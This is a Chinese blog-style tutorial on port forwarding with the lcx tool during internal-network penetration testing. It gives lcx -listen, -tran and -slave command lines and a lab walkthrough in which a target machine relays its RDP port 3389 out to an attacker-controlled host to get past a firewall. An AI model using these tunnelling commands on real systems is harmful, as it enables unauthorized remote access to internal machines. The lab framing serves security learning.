最近在搞内网渗透,碰到 端口转发&边界处理 的时候,我们就可以借助一些小工具了,这类工具有很多,这里主要说明lcx的用法。
lcx是个很老的端口转发工具,而它的使用也很简单。不过想要把lcx玩清楚,首先要明白端口转发是什么意思,以及我们为什么要做端口转发。
咳咳,说了一堆废话!!
好的,接下来进入正题。首先来了解一下端口转发这个东东~~
1.本机和靶机处于同一个内网、本机和靶机都处于外网 、本机处于内网,靶机处于外网。
- 这种情况下我们直接进行连接即可。
2.本机处于外网,靶机处于内网。
- 这个时候我们就需要将靶机的3389转发至本机的端口(未被占用)。
- 此时我们连接本机被转发的端口就可以连接到处于内网环境的靶机。
3.本机处于内网,靶机处于另一个内网。
- 这种情况下需要将本机的端口映射出去。
- 在将靶机的3389转发出来。
- 与2相比就多了一个步骤:将本机端口映射到外网。
这里再说一下lcx的用法:
-listen 3333 2222
# 监听本机的3333端口并将数据转发到2222端口
-tran 3333 127.0.0.1 3389
# 在主机上运行远程桌面,连接目标机的3333端口,可以连接到主机的3389端口。
目标机上运行:lcx -tran 3333 192.168.125.102 3389 其中192.168.125.102是第三台机。
# 在主机上运行远程桌面,连接目标机的3333端口,可以连接到第三台机的3389端口。-slave 192.168.5.100 3333 127.0.0.1 3389
将本机的3389的数据转发到192.168.5.100的3333端口
下面开始实战:
环境配置(环境简陋~~):
本机:win2008:192.168.5.100(模拟外网服务器)
靶机:winXP:192.168.5.102
首先在本机上运行:
lcx -listen 3333 2222 # 监听本机的3333端口然后将数据转发到2222端口上。
在靶机上运行:
lcx -slave 192.168.5.100 3333 127.0.0.1 3389 # 靶机自愿将自己的3389端口数据转发至192.168.5.100的3333端口。 # 因为这里是靶机"自愿"的,所以可以穿透防火墙。
本机连接本机的2222端口(相当于连接到靶机的3389端口)
大功告成!!!不知道为什么看到这个界面心情莫名的激动!!